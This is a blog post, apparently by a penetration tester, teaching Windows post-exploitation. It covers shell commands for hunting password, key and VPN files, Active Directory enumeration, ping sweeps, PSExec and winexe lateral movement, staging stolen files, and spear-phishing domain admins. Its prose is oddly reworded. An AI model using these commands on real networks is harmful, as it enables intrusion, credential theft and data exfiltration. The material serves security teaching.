I have a student that has been asking me about internal network penetration testing. As a result, I figured I’d write a blog post about APT tactics. I was trying to explain to him that there is so much more to it than just popping boxes. Breaking into a machine is easy. On the other hand, moving around a network and stealing data without getting caught is the real skill. Certainly, you will want to use Tactics, Techniques, and Procedures (TTPs) employed by Advanced Persistent Threat (APT).
When I do network penetration tests, I always explain to the customer that there are four levels of post exploitation. Therefore, they need to choose what level they want me to use based on the goals of the test.
- Level 1: Access – proving that you can gain access to hosts.
- Level 2: Leveraged Access – showing that you can jump from initially compromised hosts and move further to other hosts in the network.
- Level 3: Data Driven Access – going after the target organization’s intellectual property, trade secrets or financials
- Level 4: Long term command and control (C2) – staying persistent in the environment for a prolonged period then exfiltrating data out of the network.
Meanwhile, I’ll try to cover a few of things we pentester’s do on internal pentests to data mine the network.
Data Mining The Host
At this point, you just broke into a machine with a browser, PDF, or Java exploit. You are sitting at your meterpreter prompt. You can run a few meterpreter scripts like ‘winenum.rb’, ‘enum_domain_user’, file_collector.rb, int_doc_find.rb or similar scripts. Even so, I am going to try to walk you through doing this stuff without meterpreter scripts and from here on, you will better understand what those scripts are doing or write your own.
Meanwhile, let’s start by turning our meterpreter shell into a regular shell.
meterpreter> execute -c -H -f cmd -a “/k” -i
Then, let’s figure out which updates got installed on this computer with DISM? Windows 7/8 (note: DISM will return far more details than WMIC.):
c:\DISM /Online /Get-Packages
c:\WMIC QFE List
ok, now that we have a regular command prompt, next, we will search the drive and sort the files by time accessed.
We can use this to find necessary files by typing:.
c:\dir C:\ /S /OD /TA
Alternatively, if you know the date that a particular file got created, then you can search the drive and sort them by time created by typing:
c:\dir C:\ /S /OD /TC
Elsewhere, you can also do something similar by searching for files based on the modification date. You can search the drive and sort the files by time written by typing:
c:\dir C:\ /S /OD /TW
Meanwhile, here is a trick that I use a lot presently is to search the drive for files with business-critical words in the file names. I type the following:
c:\dir c:\*bank* /s
Even more, c:\dir c:\*password* /s
Then, c:\dir c:\*pass* /s
Even more, c:\dir c:\*competitor* /s
Also, c:\dir c:\*finance* /s
This is another set of goodies for financial and risk related data.
c:\dir c:\*invoice* /s
c:\dir c:\*risk* /s
c:\dir c:\*assessment* /s
Further, these are good when you are looking for specific file types, for instace, (.key or .pem files for encryption keys and certificates, .vsd files for Visio network diagrams, .pcf files for VPN configuration files, .ica files for Citrix, and log files).
c:\dir c:\*.key* /s
c:\dir c:\*.vsd /s
c:\dir c:\*.pcf /s
c:\dir c:\*.ica /s
c:\dir c:\*.crt /s
c:\dir c:\*.log /s
Especially relevant, I look hard for .pcf and .ica files.
Anything that can give me legitimate access to the network. Besides, there is no better backdoor than authorized access.
As a matter of fact, I did have had a pentest where the customer had the password file with the name GeorgeBush.xlxs – (yes, every network has a password text file or spreadsheet). Evidently, a penetration tester before me found the password file when it was called passwords.Xlsx. Later, they renamed the file. However, one can search a drive for files with critical data by other means besides using their name. One can type:
c:\findstr /I /N /S /P /C:password *
c:\findstr /I /N /S /P /C:secret *
c:\findstr /I /N /S /P /C:confidential *
c:\findstr /I /N /S /P /C:account *
c:\findstr /I /N /S /P /C:payroll *
c:\findstr /I /N /S /P /C:credit *
c:\findstr /I /N /S /P /C:record *
Active Directory Enumeration
In the meantime, you have pilfered the host you compromised. It’s time to spread your wings and look for new prey in the network. Next, we will move on to active directory enumeration. For this reason, I will write another blog post on lateral movement later.
Often, I like using the net view command in looking for other hosts in the network.
In addition, We can run net view /domain to acquire a list of domains and workgroups in the target environment.
c:\net view /domain
Next, let’s look for local users (Always check this. You’ll run into a network that uses local accounts for stuff every once in a while ). System administrators often make use of local users and groups sometimes. They employ them in system administration tasks as a means of restricting access to the domain. Strangely enough, this can be good if done very carefully. On the other hand, it could be atrocious as it often forces the admin to do administrative tasks with the same local admin password throughout the entire environment.
At this point, let’s grab a list of users in the domain.
c:\net user /domain
For the same reason we checked for local users, it is necessary that we check for local groups as well.
Then, c:\net localgroup /domain
Then, c:\net localgroup administrators
Now, it’s time to get serious. The next few commands are where I get the best info.
c:\net localgroup administrators /domain
Finding out the users in the domain is always handy. However, there is nothing like the next command.
c:\net group “Domain Users” /domain
At this point is where you make your money. Occasionally, I like to look for users in the Domain Admins group. After compromising my first host, then, I spear phish any user I find in the Domain Admins group. That’s rather the fastest way to gain domain admin level access for me.
c:\net group “Domain Admins” /domain
net user “jima” /domain
OK, at this point, let’s start moving around the network.
No Nmap – no problem. If you have time (because this is REALLY slow), you can ping sweep the network via a batch file.
Meanwhile, more pingsweep.bat
echo @echo off > pingsweep.bat
echo for %%a in (1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186
187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254) do ping -n 2 -w 2000 %1.%%a >> pingsweep.bat
Afterward, all you have to do is just type ‘pingsweep‘ and then the first 3 octets of the target subnet.
Meanwhile, if you need to generate a list of IP addresses you can use this quick for a loop.
for /L %i in (1,1,255) do @echo 10.10.30.%i >> ips.txt
further, let’s echo some domain names into a text file.
echo heat >> names.txt
echo jima >> names.txt
echo roge >> names.txt
echo patr >> names.txt
echo jami >> names.txt
echo bonn >> names.txt
echo rhon >> names.txt
echo sall >> names.txt
echo joyj >> names.txt
echo laur >> names.txt
echo sloa >> names.txt
echo Administrator >> names.txt
Then, we can use a for loop to look for logged in users
for /f “tokens=1” %a in (‘net view ^| find “\\”‘) do @echo %a >> hosts.txt
After you come across machines where users are logged in, and you have their passwords or hashes, you can further PSExec the machines. Nonetheless, I acknowledge that I skipped password stealing and hash dumping. I will cover it in another article if you guys still want me to.
PSExec in Windows
c:\psexec.exe /accepteula \\10.10.30.81 -u administrator -p [email protected]! cmd.exe
PSExec in Linux
Meanwhile, just for the sake of making sure that you have this syntax – here is how to do PSExec in Linux. I prefer to use a tool called winexe. Besides, I have it on my Amazon S3 if you want to download it from me.
chmod 777 winexe
./winexe -U Administrator%[email protected]! //WIN7-X64-1 cmd.exe
Here is how I figure out how many users are logged on/connected to a server?
NET SESSION | FIND /C “\\”
Finally, just move with psexec to the next machine and do the host data mining all over again (shampoo, lather, rinse, repeat). At the same time, do all of the dir commands again, and you do all of the findstr commands again. Grab all of the necessary files then map a drive to what you want to become your staging server. Then, copy all of the necessary files to that staging server. In conclusion, here is how to map a network drive.
net use O: \\10.10.30.89\c$ /u:administrator [email protected]!
net use /d O:
Whew, this was quite a long blog post. We covered a lot today, however, there is a lot we didn’t cover. We didn’t cover password stealing, hashdump, pass the hash, as well as data exfiltration.
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Let’s call it quits right there, and I’ll probably come back in a day or so and give you something else to chew.
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